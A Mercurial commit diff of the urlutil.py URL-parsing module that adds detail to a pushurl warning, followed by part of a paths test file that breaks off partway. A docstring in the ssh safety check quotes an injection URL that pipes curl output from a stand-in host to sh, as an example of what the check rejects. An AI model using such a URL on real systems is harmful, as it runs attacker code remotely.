##// END OF EJS Templates
urlutil: provide some information about "bad url" when processing `pushurl`...
marmoute -
r48050:9cc9b4a2 default
parent child Browse files
Show More
@@ -1,921 +1,923
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27
28 28 if pycompat.TYPE_CHECKING:
29 29 from typing import (
30 30 Union,
31 31 )
32 32
33 33 urlreq = urllibcompat.urlreq
34 34
35 35
36 36 def getport(port):
37 37 # type: (Union[bytes, int]) -> int
38 38 """Return the port for a given network service.
39 39
40 40 If port is an integer, it's returned as is. If it's a string, it's
41 41 looked up using socket.getservbyname(). If there's no matching
42 42 service, error.Abort is raised.
43 43 """
44 44 try:
45 45 return int(port)
46 46 except ValueError:
47 47 pass
48 48
49 49 try:
50 50 return socket.getservbyname(pycompat.sysstr(port))
51 51 except socket.error:
52 52 raise error.Abort(
53 53 _(b"no port number associated with service '%s'") % port
54 54 )
55 55
56 56
57 57 class url(object):
58 58 r"""Reliable URL parser.
59 59
60 60 This parses URLs and provides attributes for the following
61 61 components:
62 62
63 63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64 64
65 65 Missing components are set to None. The only exception is
66 66 fragment, which is set to '' if present but empty.
67 67
68 68 If parsefragment is False, fragment is included in query. If
69 69 parsequery is False, query is included in path. If both are
70 70 False, both fragment and query are included in path.
71 71
72 72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73 73
74 74 Note that for backward compatibility reasons, bundle URLs do not
75 75 take host names. That means 'bundle://../' has a path of '../'.
76 76
77 77 Examples:
78 78
79 79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 83 >>> url(b'file:///home/joe/repo')
84 84 <url scheme: 'file', path: '/home/joe/repo'>
85 85 >>> url(b'file:///c:/temp/foo/')
86 86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 87 >>> url(b'bundle:foo')
88 88 <url scheme: 'bundle', path: 'foo'>
89 89 >>> url(b'bundle://../foo')
90 90 <url scheme: 'bundle', path: '../foo'>
91 91 >>> url(br'c:\foo\bar')
92 92 <url path: 'c:\\foo\\bar'>
93 93 >>> url(br'\\blah\blah\blah')
94 94 <url path: '\\\\blah\\blah\\blah'>
95 95 >>> url(br'\\blah\blah\blah#baz')
96 96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 97 >>> url(br'file:///C:\users\me')
98 98 <url scheme: 'file', path: 'C:\\users\\me'>
99 99
100 100 Authentication credentials:
101 101
102 102 >>> url(b'ssh://joe:xyz@x/repo')
103 103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 104 >>> url(b'ssh://joe@x/repo')
105 105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106 106
107 107 Query strings and fragments:
108 108
109 109 >>> url(b'http://host/a?b#c')
110 110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113 113
114 114 Empty path:
115 115
116 116 >>> url(b'')
117 117 <url path: ''>
118 118 >>> url(b'#a')
119 119 <url path: '', fragment: 'a'>
120 120 >>> url(b'http://host/')
121 121 <url scheme: 'http', host: 'host', path: ''>
122 122 >>> url(b'http://host/#a')
123 123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124 124
125 125 Only scheme:
126 126
127 127 >>> url(b'http:')
128 128 <url scheme: 'http'>
129 129 """
130 130
131 131 _safechars = b"!~*'()+"
132 132 _safepchars = b"/!~*'()+:\\"
133 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134 134
135 135 def __init__(self, path, parsequery=True, parsefragment=True):
136 136 # type: (bytes, bool, bool) -> None
137 137 # We slowly chomp away at path until we have only the path left
138 138 self.scheme = self.user = self.passwd = self.host = None
139 139 self.port = self.path = self.query = self.fragment = None
140 140 self._localpath = True
141 141 self._hostport = b''
142 142 self._origpath = path
143 143
144 144 if parsefragment and b'#' in path:
145 145 path, self.fragment = path.split(b'#', 1)
146 146
147 147 # special case for Windows drive letters and UNC paths
148 148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 149 self.path = path
150 150 return
151 151
152 152 # For compatibility reasons, we can't handle bundle paths as
153 153 # normal URLS
154 154 if path.startswith(b'bundle:'):
155 155 self.scheme = b'bundle'
156 156 path = path[7:]
157 157 if path.startswith(b'//'):
158 158 path = path[2:]
159 159 self.path = path
160 160 return
161 161
162 162 if self._matchscheme(path):
163 163 parts = path.split(b':', 1)
164 164 if parts[0]:
165 165 self.scheme, path = parts
166 166 self._localpath = False
167 167
168 168 if not path:
169 169 path = None
170 170 if self._localpath:
171 171 self.path = b''
172 172 return
173 173 else:
174 174 if self._localpath:
175 175 self.path = path
176 176 return
177 177
178 178 if parsequery and b'?' in path:
179 179 path, self.query = path.split(b'?', 1)
180 180 if not path:
181 181 path = None
182 182 if not self.query:
183 183 self.query = None
184 184
185 185 # // is required to specify a host/authority
186 186 if path and path.startswith(b'//'):
187 187 parts = path[2:].split(b'/', 1)
188 188 if len(parts) > 1:
189 189 self.host, path = parts
190 190 else:
191 191 self.host = parts[0]
192 192 path = None
193 193 if not self.host:
194 194 self.host = None
195 195 # path of file:///d is /d
196 196 # path of file:///d:/ is d:/, not /d:/
197 197 if path and not hasdriveletter(path):
198 198 path = b'/' + path
199 199
200 200 if self.host and b'@' in self.host:
201 201 self.user, self.host = self.host.rsplit(b'@', 1)
202 202 if b':' in self.user:
203 203 self.user, self.passwd = self.user.split(b':', 1)
204 204 if not self.host:
205 205 self.host = None
206 206
207 207 # Don't split on colons in IPv6 addresses without ports
208 208 if (
209 209 self.host
210 210 and b':' in self.host
211 211 and not (
212 212 self.host.startswith(b'[') and self.host.endswith(b']')
213 213 )
214 214 ):
215 215 self._hostport = self.host
216 216 self.host, self.port = self.host.rsplit(b':', 1)
217 217 if not self.host:
218 218 self.host = None
219 219
220 220 if (
221 221 self.host
222 222 and self.scheme == b'file'
223 223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 224 ):
225 225 raise error.Abort(
226 226 _(b'file:// URLs can only refer to localhost')
227 227 )
228 228
229 229 self.path = path
230 230
231 231 # leave the query string escaped
232 232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 233 v = getattr(self, a)
234 234 if v is not None:
235 235 setattr(self, a, urlreq.unquote(v))
236 236
237 237 def copy(self):
238 238 u = url(b'temporary useless value')
239 239 u.path = self.path
240 240 u.scheme = self.scheme
241 241 u.user = self.user
242 242 u.passwd = self.passwd
243 243 u.host = self.host
244 244 u.path = self.path
245 245 u.query = self.query
246 246 u.fragment = self.fragment
247 247 u._localpath = self._localpath
248 248 u._hostport = self._hostport
249 249 u._origpath = self._origpath
250 250 return u
251 251
252 252 @encoding.strmethod
253 253 def __repr__(self):
254 254 attrs = []
255 255 for a in (
256 256 b'scheme',
257 257 b'user',
258 258 b'passwd',
259 259 b'host',
260 260 b'port',
261 261 b'path',
262 262 b'query',
263 263 b'fragment',
264 264 ):
265 265 v = getattr(self, a)
266 266 if v is not None:
267 267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 268 return b'<url %s>' % b', '.join(attrs)
269 269
270 270 def __bytes__(self):
271 271 r"""Join the URL's components back into a URL string.
272 272
273 273 Examples:
274 274
275 275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 278 'http://user:pw@host:80/?foo=bar&baz=42'
279 279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 282 'ssh://user:pw@[::1]:2200//home/joe#'
283 283 >>> bytes(url(b'http://localhost:80//'))
284 284 'http://localhost:80//'
285 285 >>> bytes(url(b'http://localhost:80/'))
286 286 'http://localhost:80/'
287 287 >>> bytes(url(b'http://localhost:80'))
288 288 'http://localhost:80/'
289 289 >>> bytes(url(b'bundle:foo'))
290 290 'bundle:foo'
291 291 >>> bytes(url(b'bundle://../foo'))
292 292 'bundle:../foo'
293 293 >>> bytes(url(b'path'))
294 294 'path'
295 295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 296 'file:///tmp/foo/bar'
297 297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 298 'file:///c:/tmp/foo/bar'
299 299 >>> print(url(br'bundle:foo\bar'))
300 300 bundle:foo\bar
301 301 >>> print(url(br'file:///D:\data\hg'))
302 302 file:///D:\data\hg
303 303 """
304 304 if self._localpath:
305 305 s = self.path
306 306 if self.scheme == b'bundle':
307 307 s = b'bundle:' + s
308 308 if self.fragment:
309 309 s += b'#' + self.fragment
310 310 return s
311 311
312 312 s = self.scheme + b':'
313 313 if self.user or self.passwd or self.host:
314 314 s += b'//'
315 315 elif self.scheme and (
316 316 not self.path
317 317 or self.path.startswith(b'/')
318 318 or hasdriveletter(self.path)
319 319 ):
320 320 s += b'//'
321 321 if hasdriveletter(self.path):
322 322 s += b'/'
323 323 if self.user:
324 324 s += urlreq.quote(self.user, safe=self._safechars)
325 325 if self.passwd:
326 326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 327 if self.user or self.passwd:
328 328 s += b'@'
329 329 if self.host:
330 330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 331 s += urlreq.quote(self.host)
332 332 else:
333 333 s += self.host
334 334 if self.port:
335 335 s += b':' + urlreq.quote(self.port)
336 336 if self.host:
337 337 s += b'/'
338 338 if self.path:
339 339 # TODO: similar to the query string, we should not unescape the
340 340 # path when we store it, the path might contain '%2f' = '/',
341 341 # which we should *not* escape.
342 342 s += urlreq.quote(self.path, safe=self._safepchars)
343 343 if self.query:
344 344 # we store the query in escaped form.
345 345 s += b'?' + self.query
346 346 if self.fragment is not None:
347 347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 348 return s
349 349
350 350 __str__ = encoding.strmethod(__bytes__)
351 351
352 352 def authinfo(self):
353 353 user, passwd = self.user, self.passwd
354 354 try:
355 355 self.user, self.passwd = None, None
356 356 s = bytes(self)
357 357 finally:
358 358 self.user, self.passwd = user, passwd
359 359 if not self.user:
360 360 return (s, None)
361 361 # authinfo[1] is passed to urllib2 password manager, and its
362 362 # URIs must not contain credentials. The host is passed in the
363 363 # URIs list because Python < 2.4.3 uses only that to search for
364 364 # a password.
365 365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366 366
367 367 def isabs(self):
368 368 if self.scheme and self.scheme != b'file':
369 369 return True # remote URL
370 370 if hasdriveletter(self.path):
371 371 return True # absolute for our purposes - can't be joined()
372 372 if self.path.startswith(br'\\'):
373 373 return True # Windows UNC path
374 374 if self.path.startswith(b'/'):
375 375 return True # POSIX-style
376 376 return False
377 377
378 378 def localpath(self):
379 379 # type: () -> bytes
380 380 if self.scheme == b'file' or self.scheme == b'bundle':
381 381 path = self.path or b'/'
382 382 # For Windows, we need to promote hosts containing drive
383 383 # letters to paths with drive letters.
384 384 if hasdriveletter(self._hostport):
385 385 path = self._hostport + b'/' + self.path
386 386 elif (
387 387 self.host is not None and self.path and not hasdriveletter(path)
388 388 ):
389 389 path = b'/' + path
390 390 return path
391 391 return self._origpath
392 392
393 393 def islocal(self):
394 394 '''whether localpath will return something that posixfile can open'''
395 395 return (
396 396 not self.scheme
397 397 or self.scheme == b'file'
398 398 or self.scheme == b'bundle'
399 399 )
400 400
401 401
402 402 def hasscheme(path):
403 403 # type: (bytes) -> bool
404 404 return bool(url(path).scheme) # cast to help pytype
405 405
406 406
407 407 def hasdriveletter(path):
408 408 # type: (bytes) -> bool
409 409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410 410
411 411
412 412 def urllocalpath(path):
413 413 # type: (bytes) -> bytes
414 414 return url(path, parsequery=False, parsefragment=False).localpath()
415 415
416 416
417 417 def checksafessh(path):
418 418 # type: (bytes) -> None
419 419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420 420
421 421 This is a sanity check for ssh urls. ssh will parse the first item as
422 422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 423 Let's prevent these potentially exploited urls entirely and warn the
424 424 user.
425 425
426 426 Raises an error.Abort when the url is unsafe.
427 427 """
428 428 path = urlreq.unquote(path)
429 429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 430 raise error.Abort(
431 431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 432 )
433 433
434 434
435 435 def hidepassword(u):
436 436 # type: (bytes) -> bytes
437 437 '''hide user credential in a url string'''
438 438 u = url(u)
439 439 if u.passwd:
440 440 u.passwd = b'***'
441 441 return bytes(u)
442 442
443 443
444 444 def removeauth(u):
445 445 # type: (bytes) -> bytes
446 446 '''remove all authentication information from a url string'''
447 447 u = url(u)
448 448 u.user = u.passwd = None
449 449 return bytes(u)
450 450
451 451
452 452 def list_paths(ui, target_path=None):
453 453 """list all the (name, paths) in the passed ui"""
454 454 result = []
455 455 if target_path is None:
456 456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 457 for p in paths:
458 458 result.append((name, p))
459 459
460 460 else:
461 461 for path in ui.paths.get(target_path, []):
462 462 result.append((target_path, path))
463 463 return result
464 464
465 465
466 466 def try_path(ui, url):
467 467 """try to build a path from a url
468 468
469 469 Return None if no Path could built.
470 470 """
471 471 try:
472 472 # we pass the ui instance are warning might need to be issued
473 473 return path(ui, None, rawloc=url)
474 474 except ValueError:
475 475 return None
476 476
477 477
478 478 def get_push_paths(repo, ui, dests):
479 479 """yields all the `path` selected as push destination by `dests`"""
480 480 if not dests:
481 481 if b'default-push' in ui.paths:
482 482 for p in ui.paths[b'default-push']:
483 483 yield p
484 484 elif b'default' in ui.paths:
485 485 for p in ui.paths[b'default']:
486 486 yield p
487 487 else:
488 488 raise error.ConfigError(
489 489 _(b'default repository not configured!'),
490 490 hint=_(b"see 'hg help config.paths'"),
491 491 )
492 492 else:
493 493 for dest in dests:
494 494 if dest in ui.paths:
495 495 for p in ui.paths[dest]:
496 496 yield p
497 497 else:
498 498 path = try_path(ui, dest)
499 499 if path is None:
500 500 msg = _(b'repository %s does not exist')
501 501 msg %= dest
502 502 raise error.RepoError(msg)
503 503 yield path
504 504
505 505
506 506 def get_pull_paths(repo, ui, sources, default_branches=()):
507 507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 508 if not sources:
509 509 sources = [b'default']
510 510 for source in sources:
511 511 if source in ui.paths:
512 512 for p in ui.paths[source]:
513 513 yield parseurl(p.rawloc, default_branches)
514 514 else:
515 515 # Try to resolve as a local path or URI.
516 516 path = try_path(ui, source)
517 517 if path is not None:
518 518 url = path.rawloc
519 519 else:
520 520 url = source
521 521 yield parseurl(url, default_branches)
522 522
523 523
524 524 def get_unique_push_path(action, repo, ui, dest=None):
525 525 """return a unique `path` or abort if multiple are found
526 526
527 527 This is useful for command and action that does not support multiple
528 528 destination (yet).
529 529
530 530 Note that for now, we cannot get multiple destination so this function is "trivial".
531 531
532 532 The `action` parameter will be used for the error message.
533 533 """
534 534 if dest is None:
535 535 dests = []
536 536 else:
537 537 dests = [dest]
538 538 dests = list(get_push_paths(repo, ui, dests))
539 539 if len(dests) != 1:
540 540 if dest is None:
541 541 msg = _("default path points to %d urls while %s only supports one")
542 542 msg %= (len(dests), action)
543 543 else:
544 544 msg = _("path points to %d urls while %s only supports one: %s")
545 545 msg %= (len(dests), action, dest)
546 546 raise error.Abort(msg)
547 547 return dests[0]
548 548
549 549
550 550 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
551 551 """return a unique `(path, branch)` or abort if multiple are found
552 552
553 553 This is useful for command and action that does not support multiple
554 554 destination (yet).
555 555
556 556 Note that for now, we cannot get multiple destination so this function is "trivial".
557 557
558 558 The `action` parameter will be used for the error message.
559 559 """
560 560 urls = []
561 561 if source is None:
562 562 if b'default' in ui.paths:
563 563 urls.extend(p.rawloc for p in ui.paths[b'default'])
564 564 else:
565 565 # XXX this is the historical default behavior, but that is not
566 566 # great, consider breaking BC on this.
567 567 urls.append(b'default')
568 568 else:
569 569 if source in ui.paths:
570 570 urls.extend(p.rawloc for p in ui.paths[source])
571 571 else:
572 572 # Try to resolve as a local path or URI.
573 573 path = try_path(ui, source)
574 574 if path is not None:
575 575 urls.append(path.rawloc)
576 576 else:
577 577 urls.append(source)
578 578 if len(urls) != 1:
579 579 if source is None:
580 580 msg = _("default path points to %d urls while %s only supports one")
581 581 msg %= (len(urls), action)
582 582 else:
583 583 msg = _("path points to %d urls while %s only supports one: %s")
584 584 msg %= (len(urls), action, source)
585 585 raise error.Abort(msg)
586 586 return parseurl(urls[0], default_branches)
587 587
588 588
589 589 def get_clone_path(ui, source, default_branches=()):
590 590 """return the `(origsource, path, branch)` selected as clone source"""
591 591 urls = []
592 592 if source is None:
593 593 if b'default' in ui.paths:
594 594 urls.extend(p.rawloc for p in ui.paths[b'default'])
595 595 else:
596 596 # XXX this is the historical default behavior, but that is not
597 597 # great, consider breaking BC on this.
598 598 urls.append(b'default')
599 599 else:
600 600 if source in ui.paths:
601 601 urls.extend(p.rawloc for p in ui.paths[source])
602 602 else:
603 603 # Try to resolve as a local path or URI.
604 604 path = try_path(ui, source)
605 605 if path is not None:
606 606 urls.append(path.rawloc)
607 607 else:
608 608 urls.append(source)
609 609 if len(urls) != 1:
610 610 if source is None:
611 611 msg = _(
612 612 "default path points to %d urls while only one is supported"
613 613 )
614 614 msg %= len(urls)
615 615 else:
616 616 msg = _("path points to %d urls while only one is supported: %s")
617 617 msg %= (len(urls), source)
618 618 raise error.Abort(msg)
619 619 url = urls[0]
620 620 clone_path, branch = parseurl(url, default_branches)
621 621 return url, clone_path, branch
622 622
623 623
624 624 def parseurl(path, branches=None):
625 625 '''parse url#branch, returning (url, (branch, branches))'''
626 626 u = url(path)
627 627 branch = None
628 628 if u.fragment:
629 629 branch = u.fragment
630 630 u.fragment = None
631 631 return bytes(u), (branch, branches or [])
632 632
633 633
634 634 class paths(dict):
635 635 """Represents a collection of paths and their configs.
636 636
637 637 Data is initially derived from ui instances and the config files they have
638 638 loaded.
639 639 """
640 640
641 641 def __init__(self, ui):
642 642 dict.__init__(self)
643 643
644 644 home_path = os.path.expanduser(b'~')
645 645
646 646 for name, value in ui.configitems(b'paths', ignoresub=True):
647 647 # No location is the same as not existing.
648 648 if not value:
649 649 continue
650 650 _value, sub_opts = ui.configsuboptions(b'paths', name)
651 651 s = ui.configsource(b'paths', name)
652 652 root_key = (name, value, s)
653 653 root = ui._path_to_root.get(root_key, home_path)
654 654
655 655 multi_url = sub_opts.get(b'multi-urls')
656 656 if multi_url is not None and stringutil.parsebool(multi_url):
657 657 base_locs = stringutil.parselist(value)
658 658 else:
659 659 base_locs = [value]
660 660
661 661 paths = []
662 662 for loc in base_locs:
663 663 loc = os.path.expandvars(loc)
664 664 loc = os.path.expanduser(loc)
665 665 if not hasscheme(loc) and not os.path.isabs(loc):
666 666 loc = os.path.normpath(os.path.join(root, loc))
667 667 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
668 668 paths.append(p)
669 669 self[name] = paths
670 670
671 671 for name, old_paths in sorted(self.items()):
672 672 new_paths = []
673 673 for p in old_paths:
674 674 new_paths.extend(_chain_path(p, ui, self))
675 675 self[name] = new_paths
676 676
677 677 def getpath(self, ui, name, default=None):
678 678 """Return a ``path`` from a string, falling back to default.
679 679
680 680 ``name`` can be a named path or locations. Locations are filesystem
681 681 paths or URIs.
682 682
683 683 Returns None if ``name`` is not a registered path, a URI, or a local
684 684 path to a repo.
685 685 """
686 686 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
687 687 self.deprecwarn(msg, '6.0')
688 688 # Only fall back to default if no path was requested.
689 689 if name is None:
690 690 if not default:
691 691 default = ()
692 692 elif not isinstance(default, (tuple, list)):
693 693 default = (default,)
694 694 for k in default:
695 695 try:
696 696 return self[k][0]
697 697 except KeyError:
698 698 continue
699 699 return None
700 700
701 701 # Most likely empty string.
702 702 # This may need to raise in the future.
703 703 if not name:
704 704 return None
705 705 if name in self:
706 706 return self[name][0]
707 707 else:
708 708 # Try to resolve as a local path or URI.
709 709 path = try_path(ui, name)
710 710 if path is None:
711 711 raise error.RepoError(_(b'repository %s does not exist') % name)
712 712 return path.rawloc
713 713
714 714
715 715 _pathsuboptions = {}
716 716
717 717
718 718 def pathsuboption(option, attr):
719 719 """Decorator used to declare a path sub-option.
720 720
721 721 Arguments are the sub-option name and the attribute it should set on
722 722 ``path`` instances.
723 723
724 724 The decorated function will receive as arguments a ``ui`` instance,
725 725 ``path`` instance, and the string value of this option from the config.
726 726 The function should return the value that will be set on the ``path``
727 727 instance.
728 728
729 729 This decorator can be used to perform additional verification of
730 730 sub-options and to change the type of sub-options.
731 731 """
732 732
733 733 def register(func):
734 734 _pathsuboptions[option] = (attr, func)
735 735 return func
736 736
737 737 return register
738 738
739 739
740 740 @pathsuboption(b'pushurl', b'pushloc')
741 741 def pushurlpathoption(ui, path, value):
742 742 u = url(value)
743 743 # Actually require a URL.
744 744 if not u.scheme:
745 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
745 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
746 msg %= (path.name, value)
747 ui.warn(msg)
746 748 return None
747 749
748 750 # Don't support the #foo syntax in the push URL to declare branch to
749 751 # push.
750 752 if u.fragment:
751 753 ui.warn(
752 754 _(
753 755 b'("#fragment" in paths.%s:pushurl not supported; '
754 756 b'ignoring)\n'
755 757 )
756 758 % path.name
757 759 )
758 760 u.fragment = None
759 761
760 762 return bytes(u)
761 763
762 764
763 765 @pathsuboption(b'pushrev', b'pushrev')
764 766 def pushrevpathoption(ui, path, value):
765 767 return value
766 768
767 769
768 770 @pathsuboption(b'multi-urls', b'multi_urls')
769 771 def multiurls_pathoption(ui, path, value):
770 772 res = stringutil.parsebool(value)
771 773 if res is None:
772 774 ui.warn(
773 775 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
774 776 )
775 777 res = False
776 778 return res
777 779
778 780
779 781 def _chain_path(base_path, ui, paths):
780 782 """return the result of "path://" logic applied on a given path"""
781 783 new_paths = []
782 784 if base_path.url.scheme != b'path':
783 785 new_paths.append(base_path)
784 786 else:
785 787 assert base_path.url.path is None
786 788 sub_paths = paths.get(base_path.url.host)
787 789 if sub_paths is None:
788 790 m = _(b'cannot use `%s`, "%s" is not a known path')
789 791 m %= (base_path.rawloc, base_path.url.host)
790 792 raise error.Abort(m)
791 793 for subpath in sub_paths:
792 794 path = base_path.copy()
793 795 if subpath.raw_url.scheme == b'path':
794 796 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
795 797 m %= (path.rawloc, path.url.host)
796 798 raise error.Abort(m)
797 799 path.url = subpath.url
798 800 path.rawloc = subpath.rawloc
799 801 path.loc = subpath.loc
800 802 if path.branch is None:
801 803 path.branch = subpath.branch
802 804 else:
803 805 base = path.rawloc.rsplit(b'#', 1)[0]
804 806 path.rawloc = b'%s#%s' % (base, path.branch)
805 807 suboptions = subpath._all_sub_opts.copy()
806 808 suboptions.update(path._own_sub_opts)
807 809 path._apply_suboptions(ui, suboptions)
808 810 new_paths.append(path)
809 811 return new_paths
810 812
811 813
812 814 class path(object):
813 815 """Represents an individual path and its configuration."""
814 816
815 817 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
816 818 """Construct a path from its config options.
817 819
818 820 ``ui`` is the ``ui`` instance the path is coming from.
819 821 ``name`` is the symbolic name of the path.
820 822 ``rawloc`` is the raw location, as defined in the config.
821 823 ``pushloc`` is the raw locations pushes should be made to.
822 824
823 825 If ``name`` is not defined, we require that the location be a) a local
824 826 filesystem path with a .hg directory or b) a URL. If not,
825 827 ``ValueError`` is raised.
826 828 """
827 829 if ui is None:
828 830 # used in copy
829 831 assert name is None
830 832 assert rawloc is None
831 833 assert suboptions is None
832 834 return
833 835
834 836 if not rawloc:
835 837 raise ValueError(b'rawloc must be defined')
836 838
837 839 # Locations may define branches via syntax <base>#<branch>.
838 840 u = url(rawloc)
839 841 branch = None
840 842 if u.fragment:
841 843 branch = u.fragment
842 844 u.fragment = None
843 845
844 846 self.url = u
845 847 # the url from the config/command line before dealing with `path://`
846 848 self.raw_url = u.copy()
847 849 self.branch = branch
848 850
849 851 self.name = name
850 852 self.rawloc = rawloc
851 853 self.loc = b'%s' % u
852 854
853 855 self._validate_path()
854 856
855 857 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
856 858 self._own_sub_opts = {}
857 859 if suboptions is not None:
858 860 self._own_sub_opts = suboptions.copy()
859 861 sub_opts.update(suboptions)
860 862 self._all_sub_opts = sub_opts.copy()
861 863
862 864 self._apply_suboptions(ui, sub_opts)
863 865
864 866 def copy(self):
865 867 """make a copy of this path object"""
866 868 new = self.__class__()
867 869 for k, v in self.__dict__.items():
868 870 new_copy = getattr(v, 'copy', None)
869 871 if new_copy is not None:
870 872 v = new_copy()
871 873 new.__dict__[k] = v
872 874 return new
873 875
874 876 def _validate_path(self):
875 877 # When given a raw location but not a symbolic name, validate the
876 878 # location is valid.
877 879 if (
878 880 not self.name
879 881 and not self.url.scheme
880 882 and not self._isvalidlocalpath(self.loc)
881 883 ):
882 884 raise ValueError(
883 885 b'location is not a URL or path to a local '
884 886 b'repo: %s' % self.rawloc
885 887 )
886 888
887 889 def _apply_suboptions(self, ui, sub_options):
888 890 # Now process the sub-options. If a sub-option is registered, its
889 891 # attribute will always be present. The value will be None if there
890 892 # was no valid sub-option.
891 893 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
892 894 if suboption not in sub_options:
893 895 setattr(self, attr, None)
894 896 continue
895 897
896 898 value = func(ui, self, sub_options[suboption])
897 899 setattr(self, attr, value)
898 900
899 901 def _isvalidlocalpath(self, path):
900 902 """Returns True if the given path is a potentially valid repository.
901 903 This is its own function so that extensions can change the definition of
902 904 'valid' in this case (like when pulling from a git repo into a hg
903 905 one)."""
904 906 try:
905 907 return os.path.isdir(os.path.join(path, b'.hg'))
906 908 # Python 2 may return TypeError. Python 3, ValueError.
907 909 except (TypeError, ValueError):
908 910 return False
909 911
910 912 @property
911 913 def suboptions(self):
912 914 """Return sub-options and their values for this path.
913 915
914 916 This is intended to be used for presentation purposes.
915 917 """
916 918 d = {}
917 919 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
918 920 value = getattr(self, attr)
919 921 if value is not None:
920 922 d[subopt] = value
921 923 return d
@@ -1,515 +1,515
1 1 $ hg init a
2 2 $ hg clone a b
3 3 updating to branch default
4 4 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
5 5 $ cd a
6 6
7 7 with no paths:
8 8
9 9 $ hg paths
10 10 $ hg paths unknown
11 11 not found!
12 12 [1]
13 13 $ hg paths -Tjson
14 14 [
15 15 ]
16 16
17 17 with paths:
18 18
19 19 $ echo '[paths]' >> .hg/hgrc
20 20 $ echo 'dupe = ../b#tip' >> .hg/hgrc
21 21 $ echo 'expand = $SOMETHING/bar' >> .hg/hgrc
22 22 $ hg in dupe
23 23 comparing with $TESTTMP/b
24 24 no changes found
25 25 [1]
26 26 $ cd ..
27 27 $ hg -R a in dupe
28 28 comparing with $TESTTMP/b
29 29 no changes found
30 30 [1]
31 31 $ cd a
32 32 $ hg paths
33 33 dupe = $TESTTMP/b#tip
34 34 expand = $TESTTMP/a/$SOMETHING/bar
35 35 $ SOMETHING=foo hg paths
36 36 dupe = $TESTTMP/b#tip
37 37 expand = $TESTTMP/a/foo/bar
38 38 #if msys
39 39 $ SOMETHING=//foo hg paths
40 40 dupe = $TESTTMP/b#tip
41 41 expand = /foo/bar
42 42 #else
43 43 $ SOMETHING=/foo hg paths
44 44 dupe = $TESTTMP/b#tip
45 45 expand = /foo/bar
46 46 #endif
47 47 $ hg paths -q
48 48 dupe
49 49 expand
50 50 $ hg paths dupe
51 51 $TESTTMP/b#tip
52 52 $ hg paths -q dupe
53 53 $ hg paths unknown
54 54 not found!
55 55 [1]
56 56 $ hg paths -q unknown
57 57 [1]
58 58
59 59 formatter output with paths:
60 60
61 61 $ echo 'dupe:pushurl = https://example.com/dupe' >> .hg/hgrc
62 62 $ hg paths -Tjson | sed 's|\\\\|\\|g'
63 63 [
64 64 {
65 65 "name": "dupe",
66 66 "pushurl": "https://example.com/dupe",
67 67 "url": "$TESTTMP/b#tip"
68 68 },
69 69 {
70 70 "name": "expand",
71 71 "url": "$TESTTMP/a/$SOMETHING/bar"
72 72 }
73 73 ]
74 74 $ hg paths -Tjson dupe | sed 's|\\\\|\\|g'
75 75 [
76 76 {
77 77 "name": "dupe",
78 78 "pushurl": "https://example.com/dupe",
